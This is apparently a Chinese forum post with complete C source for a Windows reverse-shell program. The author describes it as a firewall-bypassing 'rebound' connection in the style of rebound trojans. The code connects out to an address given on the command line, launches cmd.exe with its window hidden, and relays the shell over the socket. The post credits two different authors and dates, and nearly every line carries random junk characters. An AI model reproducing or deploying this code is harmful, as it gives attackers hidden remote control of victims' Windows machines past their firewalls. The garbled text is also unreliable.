这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z^%HDB9^
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/* ============================== NF-@Q@
Rebound port in Windows NT QF22_D<.}J
By wind,2006/7 0HQTe>!
===============================*/ j0n.+CO-{
#include )(c%QWz
#include |TF6&$>d
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#pragma comment(lib,"wsock32.lib") O*n@!ye
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void OutputShell(); 92N `Q}
SOCKET sClient; V^><
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Hq?dqg' %~
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void main(int argc,char **argv) HV]u9nrt#
{ u?>8`]r
WSADATA stWsaData; }D3hP|.X
int nRet; ; 3sjTqD
SOCKADDR_IN stSaiClient,stSaiServer; FF|M7/[~
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if(argc != 3) axK/YE7t
{ [9F
printf("Useage:\n\rRebound DestIP DestPort\n"); 6JRFYgI
return; ivt ~S
} v_pFI8Cz)
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WSAStartup(MAKEWORD(2,2),&stWsaData); Sogt?]HB$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f|3LeOyz
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stSaiClient.sin_family = AF_INET; 'e$8
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stSaiClient.sin_port = htons(0); 2p58_^l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Q~rE+?n9F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u%=2g'+)_
{ 8_O?#JYi
printf("Bind Socket Failed!\n"); HXPq+
return; R+=wSG ]
} ~8-xj6^
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stSaiServer.sin_family = AF_INET; CAN1~
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nV8iYBBym
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,s:viXk
h}DKFrHW;-
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S&D8Rao5
{ x`2du/
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printf("Connect Error!"); SDk^fTV8x
return; {M\n
} ,# %I$
OutputShell(); PR,8c
} VtGZB3
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void OutputShell() : JSuC
{ 4[Wwm
char szBuff[1024]; ,pVe@ d'
SECURITY_ATTRIBUTES stSecurityAttributes; $H&:R&Us
OSVERSIONINFO stOsversionInfo; Pa$"c?QUy
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ::-*~CH)
STARTUPINFO stStartupInfo; gyT0h?xDt
char *szShell; ;Sp/N4+
PROCESS_INFORMATION stProcessInformation; Z.s0ddMs
unsigned long lBytesRead; (CJx Y(1K
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o*oFCR]j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); X!@ Y,
stSecurityAttributes.lpSecurityDescriptor = 0; k]2_vk^
stSecurityAttributes.bInheritHandle = TRUE; MN:LL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); rD9:4W`^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _N0N#L4M
,/!^ZS*
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "z_},TCy
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rFp>A`TJ
stStartupInfo.wShowWindow = SW_HIDE; ?0qP6'nWx
stStartupInfo.hStdInput = hReadPipe; \m:('^\6o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^uPg71r:
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GetVersionEx(&stOsversionInfo); Ynp#3 r
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switch(stOsversionInfo.dwPlatformId) o%0To{MAF-
{ oa`7ClzD
case 1: ~@T`0W-Py
szShell = "command.com"; %J1oz3n
break; Wv~&Qh}
default: x@[6u
szShell = "cmd.exe"; Lg|d[*;'7
break; /w2-Pgm-[\
} o8NRu7@?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); jX^_(Kg
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send(sClient,szMsg,77,0); !fjB oK+
while(1) Q{yjIy/b
{ \^jRMIM==
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wyXQP+9G
if(lBytesRead) @rF|WT
{ ~=|QPO(d
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J93xxj
send(sClient,szBuff,lBytesRead,0); 1xSG(!
} #&%>kfeJ)<
else r\)bN4-g
{ C;.,+(G
lBytesRead=recv(sClient,szBuff,1024,0); <;Tr
if(lBytesRead<=0) break; 9}H]4"f7
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $+$l?2
} p+dOw#
} i4XiwjCHN
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return; b`F]oQ_*
}